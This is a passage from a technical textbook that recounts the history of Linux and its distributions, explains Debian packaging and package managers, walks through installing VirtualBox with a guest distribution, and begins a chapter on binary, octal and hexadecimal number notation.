internals, I decided to write my own version of UNIX, free of all AT&T code and restrictions, so I could teach from it.” 
[   http://www.cs.vu.nl/~ast/brown/     ]  
   21     Operating Systems: Design and Implementation     . Its third edition (Pearson, 2006), includes the source code of MINIX 3 
(   http://www.minix3.org/     ), now free and open-source.  

ftp://nic.funet.fi/pub/OS/Linux
http://www.zdnet.com/article/linux-dominates-supercomputers-as-never-before/
http://www.zdnet.com/article/linux-dominates-supercomputers-as-never-before/
http://www.top500.org/statistics/list/
http://www.top500.org/statistics/details/osfam/1
http://www.top500.org/statistics/details/osfam/1
http://www.cs.vu.nl/~ast/brown/
http://www.amazon.com/Operating-Systems-Design-Implementation-Edition/dp/0131429388/ref=dp_ob_title_bk
http://www.minix3.org/
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 But Linux was not yet independent: it needed MINIX to be compiled and executed; moreover, it worked 
only on an 80386+ PC, IDE hard drive, EGA or VGA video card, and Finnish keyboard! 

 But even if many features were missing, Linux had one great virtue: it was freely redistributable (and 
modifiable).    The release notes (   ftp://ftp.nic.funet.fi/pub/Linux/kernel/Historic/old-versions/
RELNOTES-0.01     ) for Linux version 0.01 and a brief text [  22  ]  written the following year give us useful information 
on the initial state of Linux. 

 The next versions [  23  ]  were 0.02, 0.03, 0.10, 0.11, [  24  ]  0.12, [  25  ]  0.95, [  26  ]  and 1.0 (in 1994). Just as in the early 
days, Torvalds asked programmers to contribute to his project; so the directory  /pub/OS/Linux  hosted a 
growing number of binary files (most from the GNU project) and mirror sites were started. 

 But not everyone agreed with his design choices; many people still remember the famous “Tanenbaum–
Torvalds debate” (1992) about the best kernel type (Linux is monolithic, MINIX has a microkernel) and 
about system portability (Linux was initially developed to only work on common 80386 PCs). “Linux is 
obsolete” is the title of one post on comp.os.minix which started the debate. The reader can find it at this 
page:    https://groups.google.com/forum/#!topic/comp.os.minix/wlhw16QWltI     . 

 To sum it up in one sentence, Linux gained so much success because it was the only working free Unix-
like operating system available at that time, no matter its technical limitations.     

      GNU/Linux Distributions   and Packages 
 A Linux distribution is a complete operating system that has Linux as kernel; according to this definition, 
Android is a Linux distribution, although it is not Unix-like. 

 The term “distribution” is well suited to emphasize the selection and assembling, done by the 
distribution maintainer, of the various parts (kernel, GNU software, X server, desktop environment, and so on) 
of an OS; each of these parts is normally created by a different group of programmers. 

 Just like any other operating system, alongside the kernel there are system utilities and applications, 
usually free and open source software. 

 Let’s recall that system utilities are programs of primary importance, necessary to manage users, 
devices, and the network, to update the operating system, and so on. Their removal would make the 
operating system not fully usable, since important features would be lost or some programs might behave 
differently or become unusable. The application software consists of nonessential programs that can be 
installed by users according to their needs (word processor, email client, and others). Most of them have 
graphical interfaces to be more user-friendly. Every distribution installs a lot of application software, to best 
fit the users’ needs. 

      Classification   
 GNU/Linux distributions can be classified using many different criteria; some rely on the hardware they 
support, others on the packaging method, and so on. 

 In particular, two criteria are here highlighted:

•    The package content (source or binary code)  

•   The update frequency    

   22  For more information, see the following site:    http://www.cs.cmu.edu/~awb/linux.history.html       
   23  For more information, see    http://www.nic.funet.fi/pub/Linux/kernel/Historic/old-versions/       
   24  Version 0.11 (December 1991) supported floppies, more video cards, and keyboards, and no longer needed MINIX.  
   25  Version 0.12 (January 1992) boasted a stable kernel that worked on various hardware. Among other things, virtual 
memory management was added to the OS.  
   26  March 1992. The numbering gap was intended to emphasize the significant progress in the Linux development, which 
seemed to have reached a nearly mature version (1.0). But actually, version 1.0 was released two years later.  

ftp://ftp.nic.funet.fi/pub/Linux/kernel/Historic/old-versions/RELNOTES-0.01
ftp://ftp.nic.funet.fi/pub/Linux/kernel/Historic/old-versions/RELNOTES-0.01
https://groups.google.com/forum/#!topic/comp.os.minix/wlhw16QWltI
http://www.cs.cmu.edu/~awb/linux.history.html
http://www.nic.funet.fi/pub/Linux/kernel/Historic/old-versions/
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 Some distributions (such as Gentoo Linux) are said to be  source-based  because their packages contain 
the source code to be compiled before installation. This allows better optimization and full control of the 
software, even though it requires the time-consuming compilation step. In fact, compiling complex software 
often takes a long time on older machines; in this case users can install precompiled packages. Full control 
can be achieved because  the   main characteristic of these systems is flexibility: users can finely tweak the 
operating system, adapt it to their individual needs, and remove all the useless features they don’t want. 

 The remaining operating systems (among which are Arch Linux, Mandriva, Red Hat, Debian, and 
others) are called  binary-based  because they provide packages containing precompiled binary code, ready 
to be installed and executed, minimizing the required installation time. 

 Linux distributions can also be described as either  rolling release  (or  rolling update ) or  standard release . 
 For example, Arch Linux (which is binary-based) and Gentoo Linux (source-based) are both well-known 

rolling release distributions. They are installed only once, and then frequently updated so that the operating 
system always has the most recent components. This way there are no discontinuities that require reinstallations 
or upgrades of the whole system, as is the case with the more common standard release distributions. 

 In standard release distributions, a simple update merely replaces system components with their most 
recent versions to correct small errors or to enhance their features. By contrast, a system upgrade is quite 
complex: all packages are updated, and some of them can be removed or added, in this way discontinuing 
operating system services and operation. As a result, the major version number changes, for instance from 
5.9 to 6.0. 

 Debian uses the same terms in a slightly different manner:

•    A  system update  (let’s remember the command  apt-get update  as root user) 
only updates the package list to check for newer versions, but it doesn’t apply the 
changes: the operating system remains the same as before.  

•   A  system upgrade  (see the command  apt-get upgrade ) only updates all the installed 
packages to the more recent versions compatible with the current system; the major 
version number of the operating system doesn’t change. When upgrading, making a 
data backup is recommended but not necessary; users can continue their work since 
usually there are no apparent changes in the operating system behavior.  

•   A  distribution upgrade  (see the command  apt-get dist-upgrade ) updates the 
whole distribution, for instance from Debian 7 to Debian 8, often adding new 
features and removing others. For this purpose some packages may be automatically 
removed if they conflict with others of primary importance, or added if required.    

 In general, a package update doesn’t get the latest available version, but the latest compatible with the 
current operating system version; for instance, version 3.4 of package Y is not installable on Debian 6.5 if Y 
requires some libraries only available since Debian 7.0 (see the output from  man apt-get ). 

 Rolling release distributions, by contrast, have pseudo-versions that represent the operating system on a 
particular date, but the version used for installation is not important because the first update will provide the 
most recent software. 

 Many distributions are not really rolling, but they behave in a similar way. As a consequence, the term 
“rolling” has acquired a wider meaning, giving rise to a finer distinction, but the difference requires more 
space than we have to explain  here  . 

     Installation  Hints   
 Linux distributions can be installed on all common PCs. 

 You probably have a modern computer with 64-bit quad-core processor, 1 TB SSD HD, 16 GB RAM, or 
better, but even an old machine equipped with 2 GHz dual core processor, 40 GB IDE HD, and 2 GB RAM 
can be enough to work with any Linux distribution. 
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 If you want to install more than one Linux distribution, you can split the free space of your hard disk 
into that number of partitions and install each distribution on one partition; it’s not mandatory to have 
different partitions for root, home, swap, so one can hold all data. But a better solution is available for 
installing multiple distributions: create virtual machines; this way, there is no need to manage the hard disk 
space. (Note that you would need to manage disk space if you decide to install or remove a non-virtual OS.)  

 With virtual machines installing multiple distributions is much simpler because a virtual HD is hosted 
by a single file. On the other hand, a virtual machine will slow down the overall performance because the 
same memory and processor are shared between host and guest OSes. We’ll create a virtual machine at the 
end of this chapter.   

      Packages   
 All software and other system components (character and font sets, documentation, and so on) are 
contained in compressed archives called  packages . 

 For instance, in Debian 7 we find the package  blender_2.63a-1_i386.deb , which contains the version 
2.63a-1 for x86 processors of  blender , a 3D modeling application as shown in Figure  2-1 .  

 At the bottom of that page we find the supported hardware architectures (Figure  2-2 )    .  

  Figure 2-1.    Overview of a  Debian package         
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 If we work on a 32-bit x86 operating system, we have to choose the i386 architecture (Figure  2-3 )    .  

  Figure 2-2.    List of supported  hardware architectures   (with download links) for the selected package       

  Figure 2-3.     Download page   for the selected architecture       
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 The download page allows us to get the desired package from the preferred mirror site (usually the 
nearest) but also recommends using the  package manager  installed on the operating system. [  27  ]  

 As a general rule, a package provided for one Linux distribution should be installed only in the 
same distribution (and version), but there are many exceptions. For instance, DEB archives from Debian 
repositories may be installed on all Debian child distributions (for example, Ubuntu) and vice versa. Red hat 
Package Manager (RPM) archives likewise can be installed elsewhere or even converted to a different format 
(see the command  alien  to convert to DEB or TGZ). 

 The package manager greatly simplifies operating system maintenance, providing an easy tool for 
installing, updating, and removing packages. 

 It’s worth noting that  each   package has a  list of dependencies , that is, a list of packages that need to 
be installed before it (Figure  2-4 ). The package manager checks for these dependencies, and installs any 
necessary additional package needed by the one we selected for installation.  

 We can also manually download and install packages, though it’s not a good practice. In this case we 
have to check the list of dependencies: 

   root.#  dpkg  --install blender_2.63a-1_i386.deb                       # dpkg = Debian PacKaGe 
 Selecting previously unselected package blender. 
 (Reading database ... 203161 files and directories currently installed.) 
 Unpacking blender (from blender_2.63a-1_i386.deb) ... 
 dpkg: dependency problems prevent configuration of blender: 

  Figure 2-4.    List of  dependencies   for package  blender        

   27  There is usually more than one package manager; for Debian see the page    https://www.debian.org/doc/manuals/
debian-faq/ch-pkgtools.it.html     .  

 

https://www.debian.org/doc/manuals/debian-faq/ch-pkgtools.it.html
https://www.debian.org/doc/manuals/debian-faq/ch-pkgtools.it.html
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  blender depends on python3.2; however: 
   Package python3.2 is not installed. 
  blender depends on libavdevice53 (>= 5:0.8-2~); however: 
   Package libavdevice53:i386 is not installed. 
 ... 
 Errors were encountered while processing: 
  Blender                                    # Now blender is installed, but it doesn't start 

   Using a package manager (such as  synaptic  [  28  ] ) makes the installation process much simpler, as shown 
in Figures  2-5  and  2-6 .   

  Figure 2-5.    Synaptic Package Manager – A package is being marked for installation           

   28  We can also type the command  apt-get install blender  as root. Before using  synaptic  or the command line, we 
have to remove the damaged package ( apt-get remove blender ), or repair the archive ( apt-get -f install ).  
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 To install, let’s click the      icon. 
 Each package, together with its core data (the software) and the list of dependencies, contains 

information about contents. If we open  blender_2.63a-1_i386.deb  with  ark  we get three files (Figure  2-7 )    .  

  Figure 2-6.    The  package manager lists   the additional packages (dependencies) to be installed       
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 The compressed  file  control    .tar.gz  includes four files; one of them ( control ) provides the 
information needed by the package manager (Figure  2-8 ).  

  Figure 2-7.    Overview of a package  content         
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 The most-used package formats are  deb  (DEBian),  rpm  (Red hat Package Manager),  txz  (Slackware, 
Arch Linux),  apk  (Android), and a few others. 

 In some cases it is possible to convert a package from one format to another by means of the  alien  
command. 

 The  sites   from which packages may be downloaded (usually web sites, but not necessarily) are called 
 repositories ; Figures  2-9  through  2-11  show some examples.    

  Figure 2-8.    The  file  control    collects useful information about the package; this information is displayed by 
the package manager (see Figure  2-1 )       
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  Figure 2-9.     Italian mirror   of the Debian repository       

  Figure 2-10.     Unofficial repository   collecting multimedia packages for Debian and child distributions (home 
page:    https://deb-multimedia.org/     )       

 

 

https://deb-multimedia.org/
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 In general, a  repository  is any resource providing packages; therefore, even a DVD or an USB device 
can appear in the list of repositories (for Debian distributions see  /etc/apt/sources.list  and  /etc/apt/
sources.list.d/ ). 

 Each repository includes some index files, as required by the distribution it serves. [  29  ]    

     A Brief  History of   Distributions 
 The first real distribution of Linux (that is, with a kernel, system software, and applications, easily installable 
on PCs) was released in February 1992 by Owen Le Blanc from the Manchester Computing Centre. That 
distribution, called  MCC Interim Linux   [  30  ]  was based on version 0.12 of the Linux kernel. It was only the 
beginning of exponential growth; after just one month,  TAMU Linux , the first distribution with the X 
Window System (   http://www.linfo.org/x.html     ) was developed at Texas A&M University.  [  31  ]     

  SLS  (Softlanding Linux System) was created by Peter MacDonald in May 1992, quickly becoming the most 
popular distribution, [  32  ]  the first to be widely used even though a large number of bugs left many users dissatisfied. 

  Yggdrasil  was released in December 1992, the first “live” distribution on CD-ROM. [  33  ]  The distribution 
boasted the availability of the X display manager and a new auto-configuration capability, earning the 
nickname “Plug-and-play Linux.” 

  Figure 2-11.    Dropbox  repository   for multiple distributions       

   29  For Debian see    https://wiki.debian.org/HowToPackageForDebian      For Slackware:    http://www.slackware.com/
config/packages.php      For Fedora:    https://fedoraproject.org/wiki/Packaging:Guidelines       
   30  For more information, see    http://www.manlug.org/?s=MCC+Interim      The page    http://oldlinux.org/Linux.old/
distributions      lists some other old distributions.  
   31  Until then, commands could only be entered in a command line. The availability of X was essential for developing 
easy-to-use software, as it provided support for input devices (mouse, keyboard) and output devices (graphical 
terminals). This originated the modern GUIs (Graphical User Interfaces) taking care of input and output jobs, thus letting 
the C programs do the hard work. Graphical interfaces include the so called “Desktop Environments”: XFCE (1996), 
KDE (1998), GNOME (1999), LXDE (2006), and so on; they are independent of the OS, and can be selected at login 
between the installed ones.  
   32  SLS was the first distribution not intended for internal use by universities; it had a lot of software, including TCP/IP 
protocols and X.  
   33  A live distribution doesn’t need to be installed on hard disk, but can be started from an external device (CD, USB, 
and so on). It can be useful for accessing and repairing damaged operating systems, and moving their data elsewhere. 
Another use is for testing purpose before installation, or to safely surf the web.  

 

http://www.linfo.org/x.html
https://wiki.debian.org/HowToPackageForDebian
http://www.slackware.com/config/packages.php
http://www.slackware.com/config/packages.php
https://fedoraproject.org/wiki/Packaging:Guidelines
http://www.manlug.org/?s=MCC+Interim
http://oldlinux.org/Linux.old/distributions
http://oldlinux.org/Linux.old/distributions
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 In July 1993, Patrick Volkerding made a lot of corrections and improvements to SLS. The result was a new 
distribution:  Slackware , now the oldest among those still active and the closest to Unix. Slackware, appreciated for 
its design simplicity and stability, within a few months superseded SLS and gave rise to many derived distributions, 
the first of which, in 1994, was  S.u.S.E. Linux,  [  34  ]  then shortened to  SuSE , and later renamed  SUSE  in 2003. 

 On August 16, 1993, one month after the birth of Slackware, Ian Murdock announced a new 
distribution [  35  ]  named  Debian  (from DEBra and IAN, his girlfriend’s name and his own). 

 Debian was the first distribution to be maintained by volunteers and open to the public (anyone can 
join the developers’ group or contribute in various ways to its growth). Debian contains only free software  [  36  ]  
and can be installed almost everywhere; that’s why it’s called “The Universal Operating System.” Many child 
distributions originated from it, among which is  Ubuntu  (October 2004). 

 November 3, 1994 is the birth date of Red Hat Commercial Linux (the following year renamed Red Hat 
Linux). Just like Debian, it generated many child distributions, notably Fedora in November 2003, when the 
software company, Red Hat Inc., decided to split Red Hat Linux into Red Hat Enterprise Linux (RHEL, for 
enterprise environments, upon payment) and Fedora, a free-of-charge community-supported operating 
system sponsored by Red Hat, to be used by everyone. Fedora includes the most recent software, and gives 
to Red Hat Enterprise Linux the packages that have proven to be stable.     

 Another distribution derived from Red Hat Linux was Mandrake Linux (released July 23, 1998 [  37  ] ). So 
easy to use it was recommended for beginners, Mandrake Linux boasted a new desktop environment: KDE 
1.0, released a few days before, on July 12. In 2005 the name changed to Mandriva Linux for legal reasons. 
Discontinued in 2012 because of financial difficulties, Mandriva Linux originated two distributions: Mageia 
in June 2011 and OpenMandriva LX in November 2013. 

 Arch Linux, started in March 2002, didn’t originate from a parent distribution, although it was inspired 
by the elegance and simplicity of Slackware, Polish Linux, and CRUX. Arch Linux is light and fast, best suited 
to skilled users who often prefer the command line to graphical interfaces. [  38  ]  

 March 2002 is also the birth date of Gentoo Linux, from which Sabayon Linux  ( July 2006) was derived. 
 We cannot omit mentioning openSUSE (December 2006 [  39  ] ), a free optionally-rolling distribution that 

replaces the old SUSE Linux and complements SUSE Linux Enterprise Desktop (SLED  [  40  ] ), as Fedora does 
with Red Hat Enterprise Linux. 

 Among the Linux distributions, openSUSE is the most compatible with Microsoft Windows; in 2006 
Novell and Microsoft announced a controversial [  41  ]  commercial agreement. [  42  ]  

 Let’s close with Zorin OS, a free distribution based on Ubuntu, released in 2009 and still rapidly 
growing. It aims to attract Windows users to the Linux world, by simplifying the installation of Windows 
software and displaying a graphical interface that  recalls   Windows.  

   34  SuSE stands for Software und System-Entwicklung (Software and systems development). Beginning with version 4.2 
(1996) S.u.S.E. became fully independent.  
   35  “This is a release that I have put together basically from scratch; in other words, I didn’t simply make some changes 
to SLS and call it a new release. I was inspired to put together this release after running SLS and generally being 
dissatisfied with much of it, and after much altering of SLS I decided that it would be easier to start from scratch” 
(   https://lists.debian.org/debian-devel-announce/2003/08/msg00008.html     ). For other useful information, see 
the Debian Manifesto:    https://www.debian.org/doc/manuals/project-history/ap-manifesto.html       
   36  For more information, see    https://www.debian.org/social_contract.html       
   37  For more information, see    https://lwn.net/1998/0730/a/mandrake.html       
   38  For more information, see    https://www.archlinux.org/about/       
   39  The openSUSE Project, which started in 2005, developed SUSE Linux v. 10.0; beginning with version 10.2 (December 
2006) the name became openSUSE.  
   40  There is also a server edition (SLES). The Enterprise editions include packages that are less recent but more stable, 
since they are used for a longer period of time.  
   41  For more information, see    http://www.fsf.org/news/microsoft_response         http://www.zdnet.com/blog/btl/
can-the-fsf-derail-the-microsoft-novell-suse-pact/4438       
   42  For more information, see    http://www.microsoft.com/en-us/news/press/2006/nov06/11-02msnovellpr.aspx      
   https://www.novell.com/communities/coolsolutions/opensuse-and-microsoft/         https://www.moreinterop.com/       
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     Testing  Distributions      
 The number and diffusion of the Linux distributions are rapidly growing all over the world, but it’s very 
difficult to monitor and count how many they are. That is what some websites aim to achieve; but using 
different calculation methods, they get different results. In particular, the following sections look at four web 
sites designed to help choose what distributions to use. 

      GNU/Linux Distribution Timeline   
 URL:    http://futurist.se/gldt/      

 Here’s how the site describes its purpose:

   GLDT is a cladogram of GNU/Linux distributions, placed on a timeline. The project 
started in 2006 and currently lists almost 500 distributions.    

 It’s an excellent work, showing the progress (it would be better to say “explosion”) of Linux in the last 
20 years. This site lists all known distributions, including those that are no longer active. Currently, there are 
about 270 active distributions.  

      DistroWatch      
 URL:    http://distrowatch.com/      

 This website, started in May 2001, classifies the active distributions by using a simple criterion, though 
not intended to be accurate, as explained on the website: [  43  ] 

   The DistroWatch Page Hit Ranking statistics are a light-hearted way of measuring the 
popularity of Linux distributions and other free operating systems among the visitors of this 
website. They correlate neither to usage nor to quality and should not be used to measure 
the market share of distributions. They simply show the number of times a distribution 
page on DistroWatch.com was accessed each day, nothing more.            

      LinuxCounter      
 URL:    http://linuxcounter.net/      

 Active from May 1999, this website adopts another criterion:

   The basic idea is for people to register themselves as being a Linux user. Of course, this way 
you won’t get all Linux users counted as not every Linux user will register himself at the 
Linux Counter site. Thus, the only way to “know” the number of Linux users worldwide, is 
to make a guess, preferably a not-too-wild guess of the number of Linux users. Not making 
wild guesses there is only one way to go: statistics. And so, there we are.    

 The most common distributions are listed on    http://linuxcounter.net/distributions/stats.html     .  

   43  For more information, see    http://distrowatch.com/dwres.php?resource=popularity      The “Top Ten” are listed on 
page    http://distrowatch.com/dwres.php?resource=major       

http://futurist.se/gldt/
http://distrowatch.com/
http://linuxcounter.net/
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      Lwn.net      
 URL:    http://lwn.net/      

 Started in January 1998, lwn.net is an online magazine about Unix-like operating systems. Here’s how 
the site describes its purpose:

   LWN.net is a reader-supported news site dedicated to producing the best coverage from 
within the Linux and free software development communities.  

  LWN.net aims to be the premier news and information source for the free software 
community. We provide comprehensive coverage of development, legal, commercial, and 
security issues.  The LWN.net Weekly Edition is our weekly summary of what has happened 
in the free software world; our front page offers up-to-the-minute coverage.    

 The main distributions are listed on page    http://lwn.net/Distributions/      .  
 Each website has its own list of the most popular distributions, updated on the basis of different criteria, 

hence with different results. To give one example, Linux Mint was the most popular distribution in 2013 and 
in the first half of 2014 according to DistroWatch, but is ranked twelfth on LinuxCounter and LWN. 

 Using the information derived from these websites, in order to run the tests we will perform in 
Chapter   5     to explore the structure of the stack frames of functions, we choose four meaningful free Linux 
distributions: [44  ]  Debian, Slackware,  [  45  ]  Fedora, and openSUSE. 

 Because they are available for multiple hardware architectures, it’s advisable to select the most 
common among students: i386 and amd64. For each distribution (except for Debian) we’ll consider only one 
architecture: 

 Slackware:  i386     http://mirrors.slackware.com/slackware/slackware-iso/      

 Fedora:  i386     https://getfedora.org/      

 openSUSE:  amd64     http://software.opensuse.org/      

   These can be installed in different hard-disk partitions, but it’s certainly easier to create virtual 
machines; we’ll do that by means of VirtualBox. [  46  ]           

      Virtualization      
 Before continuing, it is preferable to have at least one of the four distributions listed. If we want to use some 
other distribution, we can use virtualization. It’s a very useful trick that allows us to save effort and time by 
avoiding repartitioning the hard disk and rebooting to change the operating system. 

   44  For instance, we prefer Debian over Ubuntu, as “Debian can be considered the rock upon which Ubuntu is built” 
(   http://www.ubuntu.com/about/about-ubuntu/ubuntu-and-debian     ). The same for Linux Mint, which is based on 
Ubuntu (or Debian, if we consider LMDE).  
   45  Slackware has been chosen for its historical importance, though it’s not the best suited for inexperienced users. (see 
   http://distrowatch.com/dwres.php?resource=major     ).  
   46  The host operating system, on which we will install VirtualBox to start the guest virtual machines, could be 
Debian/64bit (or openSUSE/64bit). 
 Otherwise, if we choose a 32-bit host OS, it may be impossible to install a 64-bit guest; for more information see: 
   https://www.virtualbox.org/manual/ch03.html#intro-64bitguests       
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 Virtualization means creating a  virtual machine  [  47  ]  where a virtual guest operating system may be 
installed. We call this OS “virtual” to emphasize that it runs on a virtual machine. 

 To create  virtual machines      we may use  VirtualBox , a cross-platform free application with GNU GPL 
license. It is freely downloadable from    https://www.virtualbox.org/wiki/Download  s     . [  48  ]  

 To give a practical example, let’s assume we are working on Debian 8 for x86_64 processors; we want to 
install VirtualBox and then, as guest operating system, Slackware. Therefore the “real” system (we call it  host ) 
is Debian, and the “virtual” ( guest ) system is Slackware. 

 If we click the download link, for example, “VirtualBox 5.0.8 for Linux hosts,” [  49  ]  we go to another 
page containing a list of supported operating systems; here we have to search for the one on which we 
want to install VirtualBox, such as “Debian 8 (‘Jessie’).” [  50  ]  On the right side are two links, “i386” and 
“AMD64,” so we choose the second one to match our architecture. [  51  ]  The file  virtualbox-5.0_5.0.8-
103449~Debian~jessie_amd64.deb  now appears in the  Downloads  directory, unless a different one was 
selected. To install VirtualBox we can use a GUI program ( gdebi  is available in the GNOME desktop 
environment), or simply enter this command: 

   su -c "dpkg -i virtualbox-5.0_5.0.8-103449~Debian~jessie_amd64.deb" 

   Now we can start VirtualBox and create a virtual machine (Figure  2-12 ).  

   47  A virtual machine is like a real PC; it has all that is needed: BIOS, RAM, hard disk, graphics card, and so on), but it’s 
not a physical (tangible) device, only a software emulation.  
   48  If VirtualBox is already installed, the download from    www.virtualbox.org      is necessary only if we prefer the most 
recent version; if this is the case, the existing old version must be removed before proceeding.  
   49  From the    https://www.virtualbox.org/wiki/Downloads      page. Because VirtualBox is continuously updated, the 
reader will probably find another version number.  
   50  Don’t search for the guest operating system (Slackware) to install on VirtualBox!  
   51  On a x86_64 PC we can install any one of them; but if we work on a 32-bit operating system, then we can only choose 
i386, not AMD64.  

https://www.virtualbox.org/wiki/Downloads
http://www.virtualbox.org/
https://www.virtualbox.org/wiki/Downloads
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 This virtual machine can then be equipped with enough RAM (640 MB should be fine) and hard disk 
space (15 GB is much more than needed). [  52  ]  

 We don’t need to change any other default setting; we could increase the graphics card memory, or 
even set a shared directory to move files between host and guest operating systems, [  53  ]  but neither of those 
changes is necessary. 

 By doing so, we have created a virtual PC that contains, among other things, a CD/DVD virtual drive 
inside which we can finally insert the virtual DVD for installing Slackware (Figure  2-13 ).  

  Figure 2-12.    Creating a new virtual machine in  VirtualBox            

   52  The virtual hard disk resides in a file with extension  .vdi , but we can choose a different type ( .vdi  is the default file 
extension). By selecting the “Dynamically allocated” option, we ensure that the vdi file will have the strictly necessary 
size; for instance, if the OS needs 4 GB, the vdi file size will be 4 GB exactly, but it can grow up to 15 GB if more 
programs or data are added.  
   53  To set a shared directory we have to install an application named Guest Additions after installing Slackware.  
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 To insert the installation media into the virtual CD drive, we have to select the file containing the 
image of the Slackware installer. That file, with the  .iso  extension, can be downloaded from 
   http://www.slackware.com/getslack/     . [  54  ]  

 Booting the virtual machine will run the installation software. 
 We take similar steps if the host operating system (the one running on the “real” machine) is not 

Debian. So let’s suppose that the host is Slackware 14 for x86; on this OS we want to install VirtualBox and 
then, as guest, Debian 8 for x86. 

 But the VirtualBox download page doesn’t have a version for Slackware, so we can choose the generic 
one (“All distributions”, for i386+ processors: right click the link and select “Save link as.”) 

 The downloaded  file      has the name  VirtualBox-5.0.8-103449-Linux_x86.run . It is a shell script 
containing binary data; we need to mark that file as executable, so we can start it as root user: 

   g.$  chmod  +x  ./VirtualBox-5.0.8-103449-Linux_x86.run        # Makes the file executable 
 g.$  su -c      ./VirtualBox-5.0.8-103449-Linux_x86.run        # Executes it as root 

   Now the guest OS (Debian for x86) can be installed on VirtualBox by “inserting” the iso file  debian-
8.2.0-i386-DVD-1.iso  into the virtual CD drive as just discussed.  

   54  We have chosen Slackware for x86 machines. This OS (along with Slackware for x64) is installable on VirtualBox for 
x64. To get a faster download, it’s better to access the torrents page (   http://www.slackware.com/getslack/
torrents.php     ). The x86 version is available as a set of 4+2 CDs or 1+1 DVDs. This way we get the file  slackware-
14.1-install-dvd.iso .  

  Figure 2-13.    Inserting a  virtual optical disk      into the virtual machine       
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     Summary 
 This chapter has focused on the operating systems we’ll use in the last two chapters. All of them are Unix-
like; that is, their behavior and commands are very similar to Unix. 

 They are usually called “distributions” to emphasize the work of selection and assembling of the various 
parts (essentially the kernel and the GNU software) done by maintainers. 

 Most of the software is derived from GNU, a free Unix-like operating system sponsored by the Free 
Software Foundation. The GNU Project started about 30 years ago, before the birth of Linux, but since the 
GNU kernel (Hurd) is still under active development, most distributions use other kernels (BSD or Linux). 

 The current active distributions number around 270. Some web sites keep a list of their popularity, 
so we can use this information to choose one (or more) distribution to work on. For testing purposes, that 
distribution can be installed on a virtual machine to speed up the installation process; this avoids managing 
disk partitions, which is a potentially dangerous operation. 

 Once it is installed, we can switch to working on the new system without the need of rebooting our 
computer. New programs (we need compilers, debuggers, and so on) can be added via a package manager 
(for example,  synaptic  on Debian, or  YaST  on openSUSE) or a command (such as  apt-get install  on 
Debian, or  zypper install  on openSUSE) that checks for dependencies and downloads all the needed 
packages from a few trusted repositories. Any program that’s not present in the official repositories can, 
however, be installed by compiling the source code.      
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    CHAPTER 3   

 Base 2, 8, and 16 Notations                          

 On the subject of  numerical representations—notations  —we just need to review some basic information 
before continuing; this chapter is a brief summary of the most important concepts about binary, octal, 
hexadecimal notations. In the next two chapters we’ll find hexadecimal constants inside assembler code and 
memory dumps, so it’s useful to remind ourselves what binary and hex numbers are, as well as how to read 
and convert them. 

 Following the overall practical approach to the topics covered by this book, it will be useful to see some 
numerical examples, instead of just reviewing theory. This chapter deals only with integer numbers, so 
floating-point numbers are ignored. 

 Numbers can be represented by using many numerical notations, which we briefly summarize. The 
 base-2 notation   has special importance because it’s used by all the computers. The chapter also reviews 
some important concepts related to notation systems: bytes, nibbles, big- or little-endian order, most- 
(or least-) significant byte (or bit), words, paragraphs, and particularly bitwise operators. Again, this will 
be useful as we’ll find many of these elements in assembler code. 

     Notations for  Integer Numbers      
 A  numerical notation  is a convention for writing numbers; it consists of a set of coding rules and symbols. 

 Three  numerical notations   are known to anyone: decimal (or Arabic), tallies (a mark is added for 
each item being counted), and Roman. The latter is a sophisticated tally system where a smaller digit is 
subtracted from the following greater one; for example, MCMIV is the decimal number 1904; here CM stands 
for 900 (–C+M = -100+1000) and IV stands for 4 (–I+V = –1+5). The same number may also have different 
representations (for example, IV can also be written as IIII). 

 We are only interested in pure   positional notations   , where a given symbol (digit) has no value by itself; 
its value depends on the position it has inside the number. The Roman numbers have some positional 
features; for example, in IV the I is subtracted from V since it precedes that symbol.        

 Base- n  notations are a subset of positional notations: the value of one digit is a power of  n  (called the 
 base  or   radix   ), where  n  is the number of symbols (digits) used to represent numbers. 

 So, as in spoken languages, where the same sentence or word can be translated to another language, 
the same number can be translated from one notation to another, each using a different set of symbols. For 
example, we know that in decimal notation (the most common in everyday life) there are 10 symbols (digits 
0–9) to represent each number. But if we choose a base-16 (hexadecimal) notation, six additional symbols 
(A–F) are needed, so that the same number (for example, 15924 in base-10 notation) can be correctly 
represented (it becomes 3E34 in base-16). 

 As an example, in the base-16 3E34, the digit 3 has two values: 3*16 1  and 3*16 3 . Therefore this digit 
contributes twice to the resulting value:

   3*16 1  = 48  
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  3*16 3  = 12288    

 while the remaining digits add:

   4  

  14*16 2  = 3584 (E = 14 in base 10)  

  The resulting value is 4 + 48 + 3584 + 12288 = 15924.    

 The most-used bases are: 2, 8, 10, and 16, although we could choose any other; in the following sections 
we’ll see how to convert one number between different bases, and how to manage negative numbers.  

     Binary Numbers 
 Let’s start with positive (unsigned)  binary numbers     . 

 A  binary number  (base 2) is made up of one or more digits (recall that a  bit  is a BInary digiT), each one 
belonging to the set {0, 1}; for instance, 1101. To convert the number 1101 from base-2 to base-10 notation, 
we can do the following:

   1101 = 1*2 0  + 0*2 1  + 1*2 2  + 1*2 3  = 1 + 0 + 4 + 8 = 13    

 The latter bit (the rightmost) is multiplied by the smallest power of 2 (2 0 ), so it has the smallest 
weight; this bit is called   least-significant bit  ( lsb )  . Note that in the given example it’s the next bit (the one 
equal to zero) that provides the smallest contribution to the result; smallest weight doesn’t mean smallest 
contribution. 

 The leftmost bit, the one multiplied by the greatest power of 2 (2 3 ), is called   most-significant bit  ( msb )  . 
 To convert the number 13 from decimal to binary representation, we repeatedly divide by 2 the 

quotient, and keep apart the remainders:

   13/2=6, remainder 1 (= 13–2*6). This is the least-significant bit of the result.  

  6/2 = 3, remainder 0  

  3/2 = 1, remainder 1  

  1/2 = 0, remainder 1    

 The procedure ends when the quotient is zero; the remainders make up the result: 1101, where the first 
remainder is the least-significant bit. 

 Negative binary numbers are represented using a scheme called  two’s complement . We simply flip all 
bits that are on the left of the least-significant true (1) bit. 

 The most-significant (leftmost) bit represents the sign of the number: if it is 0 then the number is 
positive, if 1 the number is negative. 

 For the sake of simplicity let’s work with 8-bit numbers. Therefore, the binary number 00110100 is 
positive because the most-significant bit is 0, while 11001100 is negative because the most-significant bit is 1. 

 To give one example, the opposite of the binary number 00110100 is 

   –00110100 =  11001100      

   Vice versa: 

   –11001100 = 00110100 
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   It’s more common to flip all bits and then add 1: 

     00110100 

   Flipping bits we get: 

   11001011 

   Now adding 1 we get the result 

   11001100 

   Note that in base 2 it is 1+1 = 10. When we write the numbers in columns, we add only the digits with 
the same place value, so we write 0 and add 1 to the left, just as we do for decimal numbers. 

